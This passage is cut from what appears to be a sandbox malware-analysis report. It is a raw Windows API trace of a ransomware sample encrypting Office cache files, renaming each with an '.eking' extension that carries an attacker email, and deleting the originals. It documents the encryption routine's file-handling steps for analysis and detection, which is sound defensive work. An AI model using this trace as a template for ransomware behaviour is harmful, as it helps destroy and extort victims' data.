lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.966] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.967] ReadFile (in: hFile=0x1ac, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.979] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0220.979] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0221.504] SetEndOfFile (hFile=0x1ac) returned 1 [0221.504] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.504] WriteFile (in: hFile=0x1ac, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.507] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.507] WriteFile (in: hFile=0x1ac, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.509] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.509] WriteFile (in: hFile=0x1ac, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.510] FlushFileBuffers (hFile=0x1ac) returned 1 [0221.588] CloseHandle (hObject=0x1ac) returned 1 [0221.589] SetEvent (hEvent=0xe0) returned 1 [0221.590] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0221.590] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1872) returned 1 [0221.590] CloseHandle (hObject=0x1ac) returned 1 [0221.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0221.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0221.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0221.591] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0221.591] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0221.591] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0221.591] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0221.591] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x750, lpOverlapped=0x0) returned 1 [0221.593] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x760, lpOverlapped=0x0) returned 1 [0221.594] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0221.594] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0221.594] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0221.594] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x750, lpOverlapped=0x0) returned 1 [0221.594] FlushFileBuffers (hFile=0x1ac) returned 1 [0221.664] FlushFileBuffers (hFile=0x1a8) returned 1 [0221.666] CloseHandle (hObject=0x1ac) returned 1 [0221.666] CloseHandle (hObject=0x1a8) returned 1 [0221.666] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0221.667] SetEvent (hEvent=0xe0) returned 1 [0221.667] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0221.669] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4095519) returned 1 [0221.669] CloseHandle (hObject=0x1a8) returned 1 [0221.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0221.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0221.672] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0221.672] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0221.672] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0221.673] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0221.676] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0221.676] ReadFile (in: hFile=0x1a8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0221.682] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0221.682] ReadFile (in: hFile=0x1a8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0221.694] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0221.694] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0221.804] SetEndOfFile (hFile=0x1a8) returned 1 [0221.804] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.804] WriteFile (in: hFile=0x1a8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.806] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.806] WriteFile (in: hFile=0x1a8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.809] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0221.809] WriteFile (in: hFile=0x1a8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0221.811] FlushFileBuffers (hFile=0x1a8) returned 1 [0223.409] CloseHandle (hObject=0x1a8) returned 1 [0223.409] SetEvent (hEvent=0xe0) returned 1 [0223.410] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0223.410] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=913) returned 1 [0223.410] CloseHandle (hObject=0x1a8) returned 1 [0223.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0223.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0223.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0223.410] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0223.414] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0223.418] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0223.418] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b8 [0223.419] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x391, lpOverlapped=0x0) returned 1 [0223.423] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x3a0, lpOverlapped=0x0) returned 1 [0223.444] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0223.827] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0223.828] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0223.828] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x391, lpOverlapped=0x0) returned 1 [0223.831] FlushFileBuffers (hFile=0x1a8) returned 1 [0223.901] FlushFileBuffers (hFile=0x1b8) returned 1 [0223.913] CloseHandle (hObject=0x1a8) returned 1 [0223.913] CloseHandle (hObject=0x1b8) returned 1 [0223.913] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0223.914] SetEvent (hEvent=0xe0) returned 1 [0223.915] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0223.922] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=596341) returned 1 [0223.922] CloseHandle (hObject=0x1b8) returned 1 [0223.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0223.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0223.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0223.923] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0223.923] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0223.923] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0223.923] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0223.924] ReadFile (in: hFile=0x1b8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x91975, lpOverlapped=0x0) returned 1 [0223.938] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x91980, lpOverlapped=0x0) returned 1 [0223.951] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0223.952] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0223.952] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0223.952] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x91975, lpOverlapped=0x0) returned 1 [0223.953] FlushFileBuffers (hFile=0x1b8) returned 1 [0224.829] FlushFileBuffers (hFile=0x1a8) returned 1 [0225.133] CloseHandle (hObject=0x1b8) returned 1 [0225.133] CloseHandle (hObject=0x1a8) returned 1 [0225.134] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0225.167] SetEvent (hEvent=0xe0) returned 1 [0225.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0225.168] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=526176) returned 1 [0225.168] CloseHandle (hObject=0x1a8) returned 1 [0225.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0225.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0225.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0225.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0225.169] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0225.169] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0225.169] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b8 [0225.169] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x80760, lpOverlapped=0x0) returned 1 [0225.189] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x80770, lpOverlapped=0x0) returned 1 [0225.199] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0225.199] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0225.199] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0225.199] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x80760, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x80760, lpOverlapped=0x0) returned 1 [0225.200] FlushFileBuffers (hFile=0x1a8) returned 1 [0225.292] FlushFileBuffers (hFile=0x1b8) returned 1 [0226.380] CloseHandle (hObject=0x1a8) returned 1 [0226.380] CloseHandle (hObject=0x1b8) returned 1 [0226.406] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0226.413] SetEvent (hEvent=0xe0) returned 1 [0226.414] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all 